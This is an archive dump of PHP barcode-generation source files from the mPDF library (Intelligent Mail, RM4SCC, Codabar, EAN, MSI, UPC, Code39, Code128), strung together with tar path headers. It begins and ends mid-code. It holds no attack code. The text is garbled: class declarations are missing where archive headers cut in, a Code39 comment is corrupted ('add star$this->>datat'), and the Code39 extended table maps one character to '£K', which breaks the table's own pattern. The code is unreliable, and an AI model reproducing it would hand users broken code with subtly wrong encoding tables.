$binaryCode = bcadd($routingCode, '100001'); break; case 11: $binaryCode = bcadd($routingCode, '1000100001'); break; default: throw new \Mpdf\Barcode\BarcodeException(sprintf('Invalid MSI routing code "%s"', $routingCode)); } $binaryCode = bcmul($binaryCode, 10); $binaryCode = bcadd($binaryCode, $trackingNumber[0]); $binaryCode = bcmul($binaryCode, 5); $binaryCode = bcadd($binaryCode, $trackingNumber[1]); $binaryCode .= substr($trackingNumber, 2, 18); // convert to hexadecimal $binaryCode = $this->decToHex($binaryCode); // pad to get 13 bytes $binaryCode = str_pad($binaryCode, 26, '0', STR_PAD_LEFT); // convert string to array of bytes $binaryCodeArray = chunk_split($binaryCode, 2, "\r"); $binaryCodeArray = substr($binaryCodeArray, 0, -1); $binaryCodeArray = explode("\r", $binaryCodeArray); // calculate frame check sequence $fcs = $this->imbCrc11Fcs($binaryCodeArray); // exclude first 2 bits from first byte $first_byte = sprintf('%2s', dechex((hexdec($binaryCodeArray[0]) << 2) >> 2)); $binaryCode102bit = $first_byte . substr($binaryCode, 2); // convert binary data to codewords $codewords = []; $data = $this->hexToDec($binaryCode102bit); $codewords[0] = bcmod($data, 636) * 2; $data = bcdiv($data, 636); for ($i = 1; $i < 9; ++$i) { $codewords[$i] = bcmod($data, 1365); $data = bcdiv($data, 1365); } $codewords[9] = $data; if (($fcs >> 10) == 1) { $codewords[9] += 659; } // generate lookup tables $table2of13 = $this->imbTables(2, 78); $table5of13 = $this->imbTables(5, 1287); // convert codewords to characters $characters = []; $bitmask = 512; foreach ($codewords as $k => $val) { if ($val <= 1286) { $chrcode = $table5of13[$val]; } else { $chrcode = $table2of13[($val - 1287)]; } if (($fcs & $bitmask) > 0) { // bitwise invert $chrcode = ((~$chrcode) & 8191); } $characters[] = $chrcode; $bitmask /= 2; } $characters = array_reverse($characters); // build bars $k = 0; $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => $daft['F'], 'bcode' => []]; for ($i = 0; $i < 65; ++$i) { $asc = (($characters[$asc_chr[$i]] & pow(2, $asc_pos[$i])) > 0); $dsc = (($characters[$dsc_chr[$i]] & pow(2, $dsc_pos[$i])) > 0); if ($asc and $dsc) { // full bar (F) $p = 0; $h = $daft['F']; } elseif ($asc) { // ascender (A) $p = 0; $h = $daft['A']; } elseif ($dsc) { // descender (D) $p = $daft['F'] - $daft['D']; $h = $daft['D']; } else { // tracker (T) $p = ($daft['F'] - $daft['T']) / 2; $h = $daft['T']; } $bararray['bcode'][$k++] = ['t' => 1, 'w' => 1, 'h' => $h, 'p' => $p]; // Gap $bararray['bcode'][$k++] = ['t' => 0, 'w' => $gapWidth, 'h' => 1, 'p' => 0]; $bararray['maxw'] += (1 + $gapWidth); } unset($bararray['bcode'][($k - 1)]); $bararray['maxw'] -= $gapWidth; $this->data = $bararray; } /** * Intelligent Mail Barcode calculation of Frame Check Sequence * * @param string[] $codeArray * @return int */ private function imbCrc11Fcs($codeArray) { $genpoly = 0x0F35; // generator polynomial $fcs = 0x07FF; // Frame Check Sequence // do most significant byte skipping the 2 most significant bits $data = hexdec($codeArray[0]) << 5; for ($bit = 2; $bit < 8; ++$bit) { if (($fcs ^ $data) & 0x400) { $fcs = ($fcs << 1) ^ $genpoly; } else { $fcs = ($fcs << 1); } $fcs &= 0x7FF; $data <<= 1; } // do rest of bytes for ($byte = 1; $byte < 13; ++$byte) { $data = hexdec($codeArray[$byte]) << 3; for ($bit = 0; $bit < 8; ++$bit) { if (($fcs ^ $data) & 0x400) { $fcs = ($fcs << 1) ^ $genpoly; } else { $fcs = ($fcs << 1); } $fcs &= 0x7FF; $data <<= 1; } } return $fcs; } /** * Reverse unsigned short value * * @param int $num * @return int */ private function imbReverseUs($num) { $rev = 0; for ($i = 0; $i < 16; ++$i) { $rev <<= 1; $rev |= ($num & 1); $num >>= 1; } return $rev; } /** * Generate Nof13 tables used for Intelligent Mail Barcode * * @param int $n * @param int $size * * @return mixed[] */ private function imbTables($n, $size) { $table = []; $lli = 0; // LUT lower index $lui = $size - 1; // LUT upper index for ($count = 0; $count < 8192; ++$count) { $bitCount = 0; for ($bit_index = 0; $bit_index < 13; ++$bit_index) { $bitCount += (int) (($count & (1 << $bit_index)) != 0); } // if we don't have the right number of bits on, go on to the next value if ($bitCount == $n) { $reverse = ($this->imbReverseUs($count) >> 3); // if the reverse is less than count, we have already visited this pair before if ($reverse >= $count) { // If count is symmetric, place it at the first free slot from the end of the list. // Otherwise, place it at the first free slot from the beginning of the list AND place $reverse ath the next free slot from the beginning of the list if ($reverse == $count) { $table[$lui] = $count; --$lui; } else { $table[$lli] = $count; ++$lli; $table[$lli] = $reverse; ++$lli; } } } } return $table; } /** * Convert large integer number to hexadecimal representation. * * @param int $number * @return string */ private function decToHex($number) { $hex = []; if ($number == 0) { return '00'; } while ($number > 0) { if ($number == 0) { array_push($hex, '0'); } else { array_push($hex, strtoupper(dechex(bcmod($number, '16')))); $number = bcdiv($number, '16', 0); } } $hex = array_reverse($hex); return implode($hex); } /** * Convert large hexadecimal number to decimal representation (string). * (requires PHP bcmath extension) * * @param string $hex * @return int */ private function hexToDec($hex) { $dec = 0; $bitval = 1; $len = strlen($hex); for ($pos = ($len - 1); $pos >= 0; --$pos) { $dec = bcadd($dec, bcmul(hexdec($hex[$pos]), $bitval)); $bitval = bcmul($bitval, 16); } return $dec; } /** * @inheritdoc */ public function getType() { return 'IMB'; } } vendor/mpdf/mpdf/src/Barcode/Rm4Scc.php000064400000010335147600022140013645 0ustar00init($code, $gapWidth, $daft, $kix); $this->data['nom-X'] = $xDim; $this->data['nom-H'] = 5.0; // Nominal value for Height of Full bar in mm (spec.) $this->data['quietL'] = 2; // LEFT Quiet margin = mm (spec.) $this->data['quietR'] = 2; // RIGHT Quiet margin = mm (spec.) $this->data['quietTB'] = 2; // TOP/BOTTOM Quiet margin = mm (spec?) } /** * @param string $code * @param float $gapWidth * @param int[] $daft * @param bool $kix */ private function init($code, $gapWidth, $daft, $kix) { $notkix = !$kix; // bar mode // 1 = pos 1, length 2 // 2 = pos 1, length 3 // 3 = pos 2, length 1 // 4 = pos 2, length 2 $barmode = [ '0' => [3, 3, 2, 2], '1' => [3, 4, 1, 2], '2' => [3, 4, 2, 1], '3' => [4, 3, 1, 2], '4' => [4, 3, 2, 1], '5' => [4, 4, 1, 1], '6' => [3, 1, 4, 2], '7' => [3, 2, 3, 2], '8' => [3, 2, 4, 1], '9' => [4, 1, 3, 2], 'A' => [4, 1, 4, 1], 'B' => [4, 2, 3, 1], 'C' => [3, 1, 2, 4], 'D' => [3, 2, 1, 4], 'E' => [3, 2, 2, 3], 'F' => [4, 1, 1, 4], 'G' => [4, 1, 2, 3], 'H' => [4, 2, 1, 3], 'I' => [1, 3, 4, 2], 'J' => [1, 4, 3, 2], 'K' => [1, 4, 4, 1], 'L' => [2, 3, 3, 2], 'M' => [2, 3, 4, 1], 'N' => [2, 4, 3, 1], 'O' => [1, 3, 2, 4], 'P' => [1, 4, 1, 4], 'Q' => [1, 4, 2, 3], 'R' => [2, 3, 1, 4], 'S' => [2, 3, 2, 3], 'T' => [2, 4, 1, 3], 'U' => [1, 1, 4, 4], 'V' => [1, 2, 3, 4], 'W' => [1, 2, 4, 3], 'X' => [2, 1, 3, 4], 'Y' => [2, 1, 4, 3], 'Z' => [2, 2, 3, 3] ]; $code = strtoupper($code); $len = strlen($code); $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => $daft['F'], 'bcode' => []]; if ($notkix) { // table for checksum calculation (row,col) $checktable = [ '0' => [1, 1], '1' => [1, 2], '2' => [1, 3], '3' => [1, 4], '4' => [1, 5], '5' => [1, 0], '6' => [2, 1], '7' => [2, 2], '8' => [2, 3], '9' => [2, 4], 'A' => [2, 5], 'B' => [2, 0], 'C' => [3, 1], 'D' => [3, 2], 'E' => [3, 3], 'F' => [3, 4], 'G' => [3, 5], 'H' => [3, 0], 'I' => [4, 1], 'J' => [4, 2], 'K' => [4, 3], 'L' => [4, 4], 'M' => [4, 5], 'N' => [4, 0], 'O' => [5, 1], 'P' => [5, 2], 'Q' => [5, 3], 'R' => [5, 4], 'S' => [5, 5], 'T' => [5, 0], 'U' => [0, 1], 'V' => [0, 2], 'W' => [0, 3], 'X' => [0, 4], 'Y' => [0, 5], 'Z' => [0, 0] ]; $row = 0; $col = 0; for ($i = 0; $i < $len; ++$i) { $row += $checktable[$code[$i]][0]; $col += $checktable[$code[$i]][1]; } $row %= 6; $col %= 6; $chk = array_keys($checktable, [$row, $col]); $code .= $chk[0]; $bararray['checkdigit'] = $chk[0]; ++$len; } $k = 0; if ($notkix) { // start bar $bararray['bcode'][$k++] = ['t' => 1, 'w' => 1, 'h' => $daft['A'], 'p' => 0]; $bararray['bcode'][$k++] = ['t' => 0, 'w' => $gapWidth, 'h' => $daft['A'], 'p' => 0]; $bararray['maxw'] += (1 + $gapWidth); } for ($i = 0; $i < $len; ++$i) { for ($j = 0; $j < 4; ++$j) { switch ($barmode[$code[$i]][$j]) { case 1: // ascender (A) $p = 0; $h = $daft['A']; break; case 2: // full bar (F) $p = 0; $h = $daft['F']; break; case 3: // tracker (T) $p = ($daft['F'] - $daft['T']) / 2; $h = $daft['T']; break; case 4: // descender (D) $p = $daft['F'] - $daft['D']; $h = $daft['D']; break; } $bararray['bcode'][$k++] = ['t' => 1, 'w' => 1, 'h' => $h, 'p' => $p]; $bararray['bcode'][$k++] = ['t' => 0, 'w' => $gapWidth, 'h' => 2, 'p' => 0]; $bararray['maxw'] += (1 + $gapWidth); } } if ($notkix) { // stop bar $bararray['bcode'][$k++] = ['t' => 1, 'w' => 1, 'h' => $daft['F'], 'p' => 0]; $bararray['maxw'] += 1; } $this->data = $bararray; } /** * @inheritdoc */ public function getType() { return 'RM4SCC'; } } vendor/mpdf/mpdf/src/Barcode/BarcodeException.php000064400000000130147600022140015760 0ustar00init($code, $printRatio); $this->data['nom-X'] = 0.381; // Nominal value for X-dim (bar width) in mm (2 X min. spec.) $this->data['nom-H'] = 10; // Nominal value for Height of Full bar in mm (non-spec.) $this->data['lightmL'] = 10; // LEFT light margin = x X-dim (spec.) $this->data['lightmR'] = 10; // RIGHT light margin = x X-dim (spec.) $this->data['lightTB'] = 0; // TOP/BOTTOM light margin = x X-dim (non-spec.) } /** * @param string $code * @param float $printRatio */ private function init($code, $printRatio) { $chr = [ '0' => '11111221', '1' => '11112211', '2' => '11121121', '3' => '22111111', '4' => '11211211', '5' => '21111211', '6' => '12111121', '7' => '12112111', '8' => '12211111', '9' => '21121111', '-' => '11122111', '$' => '11221111', ':' => '21112121', '/' => '21211121', '.' => '21212111', '+' => '11222221', 'A' => '11221211', 'B' => '12121121', 'C' => '11121221', 'D' => '11122211' ]; $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $k = 0; $code = strtoupper($code); $len = strlen($code); for ($i = 0; $i < $len; ++$i) { if (!isset($chr[$code[$i]])) { throw new \Mpdf\Barcode\BarcodeException(sprintf('Invalid character "%s" CODABAR barcode value', $code[$i])); } $seq = $chr[$code[$i]]; for ($j = 0; $j < 8; ++$j) { if (($j % 2) == 0) { $t = true; // bar } else { $t = false; // space } $x = $seq[$j]; if ($x == 2) { $w = $printRatio; } else { $w = 1; } $bararray['bcode'][$k] = ['t' => $t, 'w' => $w, 'h' => 1, 'p' => 0]; $bararray['maxw'] += $w; ++$k; } } $this->data = $bararray; } public function getType() { return 'CODABAR'; } } vendor/mpdf/mpdf/src/Barcode/AbstractBarcode.php000064400000002117147600022140015574 0ustar00data; } /** * @param string $key * * @return mixed */ public function getKey($key) { return isset($this->data[$key]) ? $this->data[$key] : null; } /** * @return string */ public function getChecksum() { return $this->getKey('checkdigit'); } /** * Convert binary barcode sequence to barcode array * * @param string $seq * @param mixed[] $barcodeData * * @return mixed[] */ protected function binseqToArray($seq, array $barcodeData) { $len = strlen($seq); $w = 0; $k = 0; for ($i = 0; $i < $len; ++$i) { $w += 1; if (($i == ($len - 1)) or (($i < ($len - 1)) and ($seq[$i] != $seq[($i + 1)]))) { if ($seq[$i] == '1') { $t = true; // bar } else { $t = false; // space } $barcodeData['bcode'][$k] = ['t' => $t, 'w' => $w, 'h' => 1, 'p' => 0]; $barcodeData['maxw'] += $w; ++$k; $w = 0; } } return $barcodeData; } } vendor/mpdf/mpdf/src/Barcode/EanExt.php000064400000006035147600022140013740 0ustar00init($code, $length); $this->data['lightmL'] = $leftMargin; // LEFT light margin = x X-dim (http://www.gs1uk.org) $this->data['lightmR'] = $rightMargin; // RIGHT light margin = x X-dim (http://www.gs1uk.org) $this->data['nom-X'] = $xDim; // Nominal value for X-dim in mm (http://www.gs1uk.org) $this->data['nom-H'] = $barHeight; // Nominal bar height in mm incl. numerals (http://www.gs1uk.org) $this->data['sepM'] = $separatorMargin; // SEPARATION margin = x X-dim (http://web.archive.org/web/19990501035133/http://www.uc-council.org/d36-d.htm) } /** * @param string $code * @param int $length */ private function init($code, $length = 5) { // Padding $code = str_pad($code, $length, '0', STR_PAD_LEFT); // Calculate check digit if ($length == 2) { $r = $code % 4; } elseif ($length == 5) { $r = (3 * ($code[0] + $code[2] + $code[4])) + (9 * ($code[1] + $code[3])); $r %= 10; } else { throw new \Mpdf\Barcode\BarcodeException('Invalid EAN barcode value'); } // Convert digits to bars $codes = [ 'A' => [ // left odd parity '0' => '0001101', '1' => '0011001', '2' => '0010011', '3' => '0111101', '4' => '0100011', '5' => '0110001', '6' => '0101111', '7' => '0111011', '8' => '0110111', '9' => '0001011'], 'B' => [ // left even parity '0' => '0100111', '1' => '0110011', '2' => '0011011', '3' => '0100001', '4' => '0011101', '5' => '0111001', '6' => '0000101', '7' => '0010001', '8' => '0001001', '9' => '0010111'] ]; $parities = []; $parities[2] = [ '0' => ['A', 'A'], '1' => ['A', 'B'], '2' => ['B', 'A'], '3' => ['B', 'B'] ]; $parities[5] = [ '0' => ['B', 'B', 'A', 'A', 'A'], '1' => ['B', 'A', 'B', 'A', 'A'], '2' => ['B', 'A', 'A', 'B', 'A'], '3' => ['B', 'A', 'A', 'A', 'B'], '4' => ['A', 'B', 'B', 'A', 'A'], '5' => ['A', 'A', 'B', 'B', 'A'], '6' => ['A', 'A', 'A', 'B', 'B'], '7' => ['A', 'B', 'A', 'B', 'A'], '8' => ['A', 'B', 'A', 'A', 'B'], '9' => ['A', 'A', 'B', 'A', 'B'] ]; $p = $parities[$length][$r]; $seq = '1011'; // left guard bar $seq .= $codes[$p[0]][$code[0]]; for ($i = 1; $i < $length; ++$i) { $seq .= '01'; // separator $seq .= $codes[$p[$i]][$code[$i]]; } $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $this->data = $this->binseqToArray($seq, $bararray); } public function getType() { return 'EAN EXT'; } } vendor/mpdf/mpdf/src/Barcode/Msi.php000064400000004426147600022140013306 0ustar00init($code, $checksum); $this->data['nom-X'] = 0.381; // Nominal value for X-dim (bar width) in mm (2 X min. spec.) $this->data['nom-H'] = 10; // Nominal value for Height of Full bar in mm (non-spec.) $this->data['lightmL'] = 12; // LEFT light margin = x X-dim (spec.) $this->data['lightmR'] = 12; // RIGHT light margin = x X-dim (spec.) $this->data['lightTB'] = 0; // TOP/BOTTOM light margin = x X-dim (non-spec.) } /** * @param int $code * @param bool $checksum */ private function init($code, $checksum) { $chr = [ '0' => '100100100100', '1' => '100100100110', '2' => '100100110100', '3' => '100100110110', '4' => '100110100100', '5' => '100110100110', '6' => '100110110100', '7' => '100110110110', '8' => '110100100100', '9' => '110100100110', 'A' => '110100110100', 'B' => '110100110110', 'C' => '110110100100', 'D' => '110110100110', 'E' => '110110110100', 'F' => '110110110110', ]; $checkdigit = ''; if ($checksum) { // add checksum $clen = strlen($code); $p = 2; $check = 0; for ($i = ($clen - 1); $i >= 0; --$i) { $check += (hexdec($code[$i]) * $p); ++$p; if ($p > 7) { $p = 2; } } $check %= 11; if ($check > 0) { $check = 11 - $check; } $code .= $check; $checkdigit = $check; } $seq = '110'; // left guard $clen = strlen($code); for ($i = 0; $i < $clen; ++$i) { $digit = $code[$i]; if (!isset($chr[$digit])) { // invalid character throw new \Mpdf\Barcode\BarcodeException(sprintf('Invalid character "%s" in MSI barcode value', $digit)); } $seq .= $chr[$digit]; } $seq .= '1001'; // right guard $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $bararray['checkdigit'] = $checkdigit; $this->data = $this->binseqToArray($seq, $bararray); } /** * @inheritdoc */ public function getType() { return 'MSI'; } } vendor/mpdf/mpdf/src/Barcode/EanUpc.php000064400000015472147600022140013734 0ustar00init($code, $length); $this->data['lightmL'] = $leftMargin; // LEFT light margin = x X-dim (http://www.gs1uk.org) $this->data['lightmR'] = $rightMargin; // RIGHT light margin = x X-dim (http://www.gs1uk.org) $this->data['nom-X'] = $xDim; // Nominal value for X-dim in mm (http://www.gs1uk.org) $this->data['nom-H'] = $barHeight; // Nominal bar height in mm incl. numerals (http://www.gs1uk.org) } /** * @param string $code * @param int $length */ private function init($code, $length) { if (preg_match('/[\D]+/', $code)) { throw new \Mpdf\Barcode\BarcodeException('Invalid EAN UPC barcode value'); } $upce = false; $checkdigit = false; if ($length == 6) { $length = 12; // UPC-A $upce = true; // UPC-E mode } $dataLength = $length - 1; // Padding $code = str_pad($code, $dataLength, '0', STR_PAD_LEFT); $codeLength = strlen($code); // Calculate check digit $sum_a = 0; for ($i = 1; $i < $dataLength; $i += 2) { $sum_a += $code[$i]; } if ($length > 12) { $sum_a *= 3; } $sum_b = 0; for ($i = 0; $i < $dataLength; $i += 2) { $sum_b += ($code[$i]); } if ($length < 13) { $sum_b *= 3; } $r = ($sum_a + $sum_b) % 10; if ($r > 0) { $r = (10 - $r); } if ($codeLength == $dataLength) { // Add check digit $code .= $r; $checkdigit = $r; } elseif ($r !== (int) $code[$dataLength]) { // Wrong checkdigit throw new \Mpdf\Barcode\BarcodeException('Invalid EAN UPC barcode value'); } if ($length == 12) { // UPC-A $code = '0' . $code; ++$length; } if ($upce) { // Convert UPC-A to UPC-E $tmp = substr($code, 4, 3); $prodCode = (int) substr($code, 7, 5); // product code $invalidUpce = false; if (($tmp == '000') or ($tmp == '100') or ($tmp == '200')) { // Manufacturer code ends in 000, 100, or 200 $upceCode = substr($code, 2, 2) . substr($code, 9, 3) . substr($code, 4, 1); if ($prodCode > 999) { $invalidUpce = true; } } else { $tmp = substr($code, 5, 2); if ($tmp == '00') { // Manufacturer code ends in 00 $upceCode = substr($code, 2, 3) . substr($code, 10, 2) . '3'; if ($prodCode > 99) { $invalidUpce = true; } } else { $tmp = substr($code, 6, 1); if ($tmp == '0') { // Manufacturer code ends in 0 $upceCode = substr($code, 2, 4) . substr($code, 11, 1) . '4'; if ($prodCode > 9) { $invalidUpce = true; } } else { // Manufacturer code does not end in zero $upceCode = substr($code, 2, 5) . substr($code, 11, 1); if ($prodCode > 9) { $invalidUpce = true; } } } } if ($invalidUpce) { throw new \Mpdf\Barcode\BarcodeException('UPC-A cannot produce a valid UPC-E barcode'); } } // Convert digits to bars $codes = [ 'A' => [// left odd parity '0' => '0001101', '1' => '0011001', '2' => '0010011', '3' => '0111101', '4' => '0100011', '5' => '0110001', '6' => '0101111', '7' => '0111011', '8' => '0110111', '9' => '0001011'], 'B' => [// left even parity '0' => '0100111', '1' => '0110011', '2' => '0011011', '3' => '0100001', '4' => '0011101', '5' => '0111001', '6' => '0000101', '7' => '0010001', '8' => '0001001', '9' => '0010111'], 'C' => [// right '0' => '1110010', '1' => '1100110', '2' => '1101100', '3' => '1000010', '4' => '1011100', '5' => '1001110', '6' => '1010000', '7' => '1000100', '8' => '1001000', '9' => '1110100'] ]; $parities = [ '0' => ['A', 'A', 'A', 'A', 'A', 'A'], '1' => ['A', 'A', 'B', 'A', 'B', 'B'], '2' => ['A', 'A', 'B', 'B', 'A', 'B'], '3' => ['A', 'A', 'B', 'B', 'B', 'A'], '4' => ['A', 'B', 'A', 'A', 'B', 'B'], '5' => ['A', 'B', 'B', 'A', 'A', 'B'], '6' => ['A', 'B', 'B', 'B', 'A', 'A'], '7' => ['A', 'B', 'A', 'B', 'A', 'B'], '8' => ['A', 'B', 'A', 'B', 'B', 'A'], '9' => ['A', 'B', 'B', 'A', 'B', 'A'] ]; $upceParities = []; $upceParities[0] = [ '0' => ['B', 'B', 'B', 'A', 'A', 'A'], '1' => ['B', 'B', 'A', 'B', 'A', 'A'], '2' => ['B', 'B', 'A', 'A', 'B', 'A'], '3' => ['B', 'B', 'A', 'A', 'A', 'B'], '4' => ['B', 'A', 'B', 'B', 'A', 'A'], '5' => ['B', 'A', 'A', 'B', 'B', 'A'], '6' => ['B', 'A', 'A', 'A', 'B', 'B'], '7' => ['B', 'A', 'B', 'A', 'B', 'A'], '8' => ['B', 'A', 'B', 'A', 'A', 'B'], '9' => ['B', 'A', 'A', 'B', 'A', 'B'] ]; $upceParities[1] = [ '0' => ['A', 'A', 'A', 'B', 'B', 'B'], '1' => ['A', 'A', 'B', 'A', 'B', 'B'], '2' => ['A', 'A', 'B', 'B', 'A', 'B'], '3' => ['A', 'A', 'B', 'B', 'B', 'A'], '4' => ['A', 'B', 'A', 'A', 'B', 'B'], '5' => ['A', 'B', 'B', 'A', 'A', 'B'], '6' => ['A', 'B', 'B', 'B', 'A', 'A'], '7' => ['A', 'B', 'A', 'B', 'A', 'B'], '8' => ['A', 'B', 'A', 'B', 'B', 'A'], '9' => ['A', 'B', 'B', 'A', 'B', 'A'] ]; $k = 0; $seq = '101'; // left guard bar if ($upce && isset($upceCode)) { $bararray = ['code' => $upceCode, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $p = $upceParities[$code[1]][$r]; for ($i = 0; $i < 6; ++$i) { $seq .= $codes[$p[$i]][$upceCode[$i]]; } $seq .= '010101'; // right guard bar } else { $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $halfLen = ceil($length / 2); if ($length == 8) { for ($i = 0; $i < $halfLen; ++$i) { $seq .= $codes['A'][$code[$i]]; } } else { $p = $parities[$code[0]]; for ($i = 1; $i < $halfLen; ++$i) { $seq .= $codes[$p[$i - 1]][$code[$i]]; } } $seq .= '01010'; // center guard bar for ($i = $halfLen; $i < $length; ++$i) { $seq .= $codes['C'][$code[(int) $i]]; } $seq .= '101'; // right guard bar } $clen = strlen($seq); $w = 0; for ($i = 0; $i < $clen; ++$i) { $w += 1; if (($i == ($clen - 1)) or (($i < ($clen - 1)) and ($seq[$i] != $seq[($i + 1)]))) { if ($seq[$i] == '1') { $t = true; // bar } else { $t = false; // space } $bararray['bcode'][$k] = ['t' => $t, 'w' => $w, 'h' => 1, 'p' => 0]; $bararray['maxw'] += $w; ++$k; $w = 0; } } $bararray['checkdigit'] = $checkdigit; $this->data = $bararray; } /** * @inheritdoc */ public function getType() { return 'EANUPC'; } } vendor/mpdf/mpdf/src/Barcode/Code39.php000064400000015030147600022140013575 0ustar00init($code, $printRatio, $extended, $checksum); $this->data['nom-X'] = 0.381; // Nominal value for X-dim (bar width) in mm (2 X min. spec.) $this->data['nom-H'] = 10; // Nominal value for Height of Full bar in mm (non-spec.) $this->data['lightmL'] = 10; // LEFT light margin = x X-dim (spec.) $this->data['lightmR'] = 10; // RIGHT light margin = x X-dim (spec.) $this->data['lightTB'] = 0; // TOP/BOTTOM light margin = x X-dim (non-spec.) } /** * @param string $code * @param float $printRatio * @param bool $extended * @param bool $checksum * * @return mixed[] */ private function init($code, $printRatio, $extended, $checksum) { $chr = [ '0' => '111221211', '1' => '211211112', '2' => '112211112', '3' => '212211111', '4' => '111221112', '5' => '211221111', '6' => '112221111', '7' => '111211212', '8' => '211211211', '9' => '112211211', 'A' => '211112112', 'B' => '112112112', 'C' => '212112111', 'D' => '111122112', 'E' => '211122111', 'F' => '112122111', 'G' => '111112212', 'H' => '211112211', 'I' => '112112211', 'J' => '111122211', 'K' => '211111122', 'L' => '112111122', 'M' => '212111121', 'N' => '111121122', 'O' => '211121121', 'P' => '112121121', 'Q' => '111111222', 'R' => '211111221', 'S' => '112111221', 'T' => '111121221', 'U' => '221111112', 'V' => '122111112', 'W' => '222111111', 'X' => '121121112', 'Y' => '221121111', 'Z' => '122121111', '-' => '121111212', '.' => '221111211', ' ' => '122111211', '$' => '121212111', '/' => '121211121', '+' => '121112121', '%' => '111212121', '*' => '121121211', ]; $code = strtoupper($code); $checkdigit = ''; if ($extended) { // extended mode $code = $this->encodeExt($code); } if ($code === false) { throw new \Mpdf\Barcode\BarcodeException('Invalid CODE39 barcode value'); } if ($checksum) { // checksum $checkdigit = $this->checksum($code); $code .= $checkdigit; } // add star$this->>datat and stop codes $code = '*' . $code . '*'; $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $k = 0; $clen = strlen($code); for ($i = 0; $i < $clen; ++$i) { $char = $code[$i]; if (!isset($chr[$char])) { // invalid character throw new \Mpdf\Barcode\BarcodeException('Invalid CODE39 barcode value'); } for ($j = 0; $j < 9; ++$j) { if (($j % 2) == 0) { $t = true; // bar } else { $t = false; // space } $x = $chr[$char][$j]; if ($x == 2) { $w = $printRatio; } else { $w = 1; } $bararray['bcode'][$k] = ['t' => $t, 'w' => $w, 'h' => 1, 'p' => 0]; $bararray['maxw'] += $w; ++$k; } $bararray['bcode'][$k] = ['t' => false, 'w' => 1, 'h' => 1, 'p' => 0]; $bararray['maxw'] += 1; ++$k; } $bararray['checkdigit'] = $checkdigit; $this->data = $bararray; } /** * Encode a string to be used for CODE 39 Extended mode. * * @param string $code * @return string */ protected function encodeExt($code) { $encode = [ chr(0) => '%U', chr(1) => '$A', chr(2) => '$B', chr(3) => '$C', chr(4) => '$D', chr(5) => '$E', chr(6) => '$F', chr(7) => '$G', chr(8) => '$H', chr(9) => '$I', chr(10) => '$J', chr(11) => '£K', chr(12) => '$L', chr(13) => '$M', chr(14) => '$N', chr(15) => '$O', chr(16) => '$P', chr(17) => '$Q', chr(18) => '$R', chr(19) => '$S', chr(20) => '$T', chr(21) => '$U', chr(22) => '$V', chr(23) => '$W', chr(24) => '$X', chr(25) => '$Y', chr(26) => '$Z', chr(27) => '%A', chr(28) => '%B', chr(29) => '%C', chr(30) => '%D', chr(31) => '%E', chr(32) => ' ', chr(33) => '/A', chr(34) => '/B', chr(35) => '/C', chr(36) => '/D', chr(37) => '/E', chr(38) => '/F', chr(39) => '/G', chr(40) => '/H', chr(41) => '/I', chr(42) => '/J', chr(43) => '/K', chr(44) => '/L', chr(45) => '-', chr(46) => '.', chr(47) => '/O', chr(48) => '0', chr(49) => '1', chr(50) => '2', chr(51) => '3', chr(52) => '4', chr(53) => '5', chr(54) => '6', chr(55) => '7', chr(56) => '8', chr(57) => '9', chr(58) => '/Z', chr(59) => '%F', chr(60) => '%G', chr(61) => '%H', chr(62) => '%I', chr(63) => '%J', chr(64) => '%V', chr(65) => 'A', chr(66) => 'B', chr(67) => 'C', chr(68) => 'D', chr(69) => 'E', chr(70) => 'F', chr(71) => 'G', chr(72) => 'H', chr(73) => 'I', chr(74) => 'J', chr(75) => 'K', chr(76) => 'L', chr(77) => 'M', chr(78) => 'N', chr(79) => 'O', chr(80) => 'P', chr(81) => 'Q', chr(82) => 'R', chr(83) => 'S', chr(84) => 'T', chr(85) => 'U', chr(86) => 'V', chr(87) => 'W', chr(88) => 'X', chr(89) => 'Y', chr(90) => 'Z', chr(91) => '%K', chr(92) => '%L', chr(93) => '%M', chr(94) => '%N', chr(95) => '%O', chr(96) => '%W', chr(97) => '+A', chr(98) => '+B', chr(99) => '+C', chr(100) => '+D', chr(101) => '+E', chr(102) => '+F', chr(103) => '+G', chr(104) => '+H', chr(105) => '+I', chr(106) => '+J', chr(107) => '+K', chr(108) => '+L', chr(109) => '+M', chr(110) => '+N', chr(111) => '+O', chr(112) => '+P', chr(113) => '+Q', chr(114) => '+R', chr(115) => '+S', chr(116) => '+T', chr(117) => '+U', chr(118) => '+V', chr(119) => '+W', chr(120) => '+X', chr(121) => '+Y', chr(122) => '+Z', chr(123) => '%P', chr(124) => '%Q', chr(125) => '%R', chr(126) => '%S', chr(127) => '%T' ]; $code_ext = ''; $clen = strlen($code); for ($i = 0; $i < $clen; ++$i) { if (ord($code[$i]) > 127) { throw new \Mpdf\Barcode\BarcodeException('Invalid CODE39 barcode value'); } $code_ext .= $encode[$code[$i]]; } return $code_ext; } /** * Calculate CODE 39 checksum (modulo 43). * * @param string $code * @return string mixed */ protected function checksum($code) { $chars = [ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '-', '.', ' ', '$', '/', '+', '%' ]; $sum = 0; $clen = strlen($code); for ($i = 0; $i < $clen; ++$i) { $k = array_keys($chars, $code[$i]); $sum += $k[0]; } $j = ($sum % 43); return $chars[$j]; } /** * @inheritdoc */ public function getType() { return 'CODE39'; } } vendor/mpdf/mpdf/src/Barcode/Code128.php000064400000016106147600022140013661 0ustar00init($code, $type, $ean); $this->data['nom-X'] = 0.381; // Nominal value for X-dim (bar width) in mm (2 X min. spec.) $this->data['nom-H'] = 10; // Nominal value for Height of Full bar in mm (non-spec.) $this->data['lightmL'] = 10; // LEFT light margin = x X-dim (spec.) $this->data['lightmR'] = 10; // RIGHT light margin = x X-dim (spec.) $this->data['lightTB'] = 0; // TOP/BOTTOM light margin = x X-dim (non-spec.) } /** * @param string $code * @param string $type * @param bool $ean */ protected function init($code, $type, $ean) { $code = UtfString::strcode2utf($code); // mPDF 5.7.1 Allows e.g. $chr = [ '212222', /* 